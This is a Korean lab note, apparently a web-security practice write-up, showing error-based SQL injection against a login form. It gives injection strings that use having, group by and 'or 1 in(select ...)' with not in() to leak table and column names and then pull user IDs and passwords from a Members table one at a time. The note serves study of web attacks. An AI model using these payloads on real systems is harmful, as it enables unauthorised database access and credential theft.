Search

[Error based SQLi] Table, Column 추출

카테고리
[실습] 웹 공격위협
상태
완료
게시일
2024/04/23
태그
SQLi, Error based SQLi

Table 이름 추출 : having 함수 활용!

→ having 은 group by() 와 같이 쓰여야 함!

⇒’ having 1=1 --

예상 SQL 문 ”SELECT * FROM ~~ WHERE user_id = ‘id’ and passwd = ‘pw’”
예상 SQL 변경 ”SELECT * FROM ~~ WHERE user_id = ‘’ having 1=1 --’ and passwd = ‘pw’”

(1) 해당 공격 문자열 입력 (비밀번호는 중요하지않음)

⇒ ‘ having 1=1 --

group by 문이 없기 때문에 해당 오류메시지 유도
‘테이블명 . 첫 번째 컬럼명’ 이 에러페이지에 노출
⇒ Table : Members
⇒ 첫 번째 Column : num

(2) 두 번째 Column 명 추출 : group by 활용!

⇒ ‘ group by num --

예상 SQL 변경 ”SELECT * FROM ~~ WHERE user_id = ‘‘group by num --’ and passwd = ‘pw’”
⇒ 두 번째 Column 명 : user_id

(3) 세 번째 Column 명 추출 : 컬럼 이어서 쓰기

⇒ ‘ group by num, user_id --

예상 SQL 변경 ”SELECT * FROM ~~ WHERE user_id = ‘‘group by num, user_id --’ and passwd = ‘pw’”
⇒ 세 번째 Column 명 : passwd

(4) 데이터(ID/PW) 추출 : in() 활용!

⇒ ' or 1 in(select user_id from Members)--

예상 SQL 변경 ”SELECT * FROM ~~ WHERE user_id = ‘‘ or 1 in (select user_id from members) --’ and passwd = ‘pw’”
⇒ user_id Column의 첫 번째 Data : new123

Q) 전체 아이디 추출하기!

⇒ ‘ or 1 [Members 테이블의 user_id를 포함시켜 반환하는데, 그 중에서 user_id가 (’new123’)은 포함하지 않도록 반환]--

in() : 포함되는 것 반환
not in() : 포함되지 않는 것 반환

⇒ ' or 1 in(select user_id from Members where user_id not in(’new123’))--

⇒ user_id Column의 두 번째 Data : ryu123

(5) 해당 루틴으로 계속해서 ID 추출

⇒ ' or 1 in(select user_id from Members where user_id not in(’new123’, ‘ryu123’))--

⇒ user_id Column의 세 번째 Data : admin
더 이상 나오지 않을 때 까지 추출하면 다 추출한 것이다

(6) 같은 방법으로 PW 도 추출 가능

⇒ ' or 1 in(select passwd from Members)--

⇒ passwd Column의 첫 번째 Data : asdf
ID와 PW를 추출했다고해서 무조건 매칭 되는 것은 아니다 (첫 번째 ≠ 첫 번째)